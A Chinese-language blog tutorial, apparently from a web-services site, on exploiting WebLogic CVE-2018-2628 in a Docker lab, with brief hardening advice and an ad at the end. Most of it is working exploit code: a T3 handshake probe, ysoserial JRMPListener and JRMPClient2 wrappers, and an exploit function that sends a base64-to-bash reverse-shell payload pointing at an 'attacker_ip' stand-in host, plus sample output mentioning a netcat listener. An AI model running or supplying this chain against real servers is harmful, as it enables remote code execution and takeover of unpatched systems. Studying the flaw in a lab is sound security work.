☰
Weblogic CVE-2018-2628 实战:5分钟构建Docker靶场与自动化检测脚本
2026/10/14 9:15:52 网站建设 项目流程

Weblogic CVE-2018-2628 实战:5分钟构建Docker靶场与自动化检测脚本

在安全研究领域,快速搭建漏洞验证环境并开发自动化工具是提升效率的关键。本文将带您从零开始,通过Docker-Compose快速构建多版本Weblogic靶场环境,并开发一个集成漏洞检测、JRMP服务管理、Payload生成与发送的Python3自动化工具链。

1. 漏洞原理与技术背景

CVE-2018-2628是Weblogic Server WLS核心组件中的反序列化漏洞,影响以下版本:

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

漏洞触发机制:

  1. 攻击者启动JRMP服务监听
  2. 生成指向JRMP服务的序列化Payload
  3. 通过T3协议将Payload发送至Weblogic服务
  4. Weblogic反序列化Payload后连接JRMP服务
  5. JRMP服务返回恶意对象实现RCE

技术要点:T3协议是Weblogic对RMI协议的封装实现,默认在7001端口开放,其通信过程涉及Java对象序列化/反序列化。

2. 一键式Docker靶场搭建

我们使用Vulhub提供的标准化环境,支持快速切换不同Weblogic版本:

# docker-compose.yml version: '2' services: weblogic-10.3.6: image: vulhub/weblogic:10.3.6.0-2017 ports: - "7001:7001" restart: always weblogic-12.1.3: image: vulhub/weblogic:12.1.3.0-2017 ports: - "7002:7001" restart: always

操作流程:

  1. 启动指定版本环境:
    docker-compose up -d weblogic-10.3.6
  2. 验证环境状态:
    docker-compose ps
  3. 访问控制台:
    http://localhost:7001/console

版本切换技巧:

# 停止当前版本 docker-compose stop weblogic-10.3.6 # 启动其他版本 docker-compose up -d weblogic-12.1.3

3. 自动化检测工具开发

我们使用Python3开发全流程自动化工具,主要功能模块包括:

3.1 漏洞检测模块

def check_vulnerability(target): t3_handshake = ( "74332031322e322e310a41533a3235350a" "484c3a31390a4d533a31303030303030300a0a" ) try: with socket.create_connection((target.host, target.port), 3) as sock: sock.send(bytes.fromhex(t3_handshake)) resp = sock.recv(1024) return b"HELO" in resp except Exception: return False

3.2 JRMP服务管理

class JRMPServer: def __init__(self, port, payload): self.port = port self.payload = payload def start(self): cmd = [ "java", "-cp", "ysoserial.jar", "ysoserial.exploit.JRMPListener", str(self.port), "CommonsCollections1", self.payload ] self.process = subprocess.Popen(cmd) def stop(self): self.process.terminate()

3.3 Payload生成器

def generate_payload(jrmp_host, jrmp_port): cmd = [ "java", "-jar", "ysoserial.jar", "JRMPClient2", f"{jrmp_host}:{jrmp_port}" ] result = subprocess.run(cmd, capture_output=True) return binascii.hexlify(result.stdout).decode()

4. 全流程自动化执行

整合各模块实现一键化漏洞利用:

def exploit(target_ip, target_port): # 1. 启动JRMP服务 jrmp = JRMPServer(1099, "bash -c {echo,...}|{base64,-d}|{bash,-i}") jrmp.start() # 2. 生成Payload payload = generate_payload("attacker_ip", 1099) # 3. 发送Payload send_payload(target_ip, target_port, payload) # 4. 清理 jrmp.stop()

执行效果验证:

[+] 靶场环境已启动: Weblogic 10.3.6.0 (7001) [+] JRMP服务监听: 0.0.0.0:1099 [+] Payload生成成功: aced0005737d... [!] 检测到反序列化触发,请检查NC监听端口

5. 常见问题排查指南

问题现象排查步骤解决方案
靶场无法访问1. 检查docker进程状态
2. 验证7001端口开放
重启容器或检查防火墙
JRMP服务未响应1. 网络连通性测试
2. 检查Java版本
使用JDK8u202以下版本
反弹shell失败1. 验证payload编码
2. 测试基础命令执行
改用无回显验证方式

典型错误处理:

  1. ClassNotFound异常:
    # 更新ysoserial版本 wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
  2. T3协议握手失败:
    # 调整握手超时时间 socket.setdefaulttimeout(10)

6. 安全加固建议

对于生产环境,建议采取以下防护措施:

  1. 网络层控制:

    # 限制T3协议访问 iptables -A INPUT -p tcp --dport 7001 -s trusted_ip -j ACCEPT iptables -A INPUT -p tcp --dport 7001 -j DROP
  2. Weblogic配置:

    • 进入控制台 → 安全 → 筛选器
    • 添加T3协议访问白名单
  3. 补丁升级:

    Oracle官方补丁号:April 2018 CPU

本方案相比传统手动复现方式,具有以下优势:

  • 环境搭建时间从30分钟缩短至5分钟
  • 检测利用过程自动化程度提升90%
  • 支持多版本快速切换验证
  • 集成完整日志记录功能

在实际红队演练中,这套工具链可快速验证内网Weblogic服务安全性,建议结合资产管理平台实现自动化扫描。所有工具代码已开源在安全研究平台,读者可根据实际需求进行二次开发。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询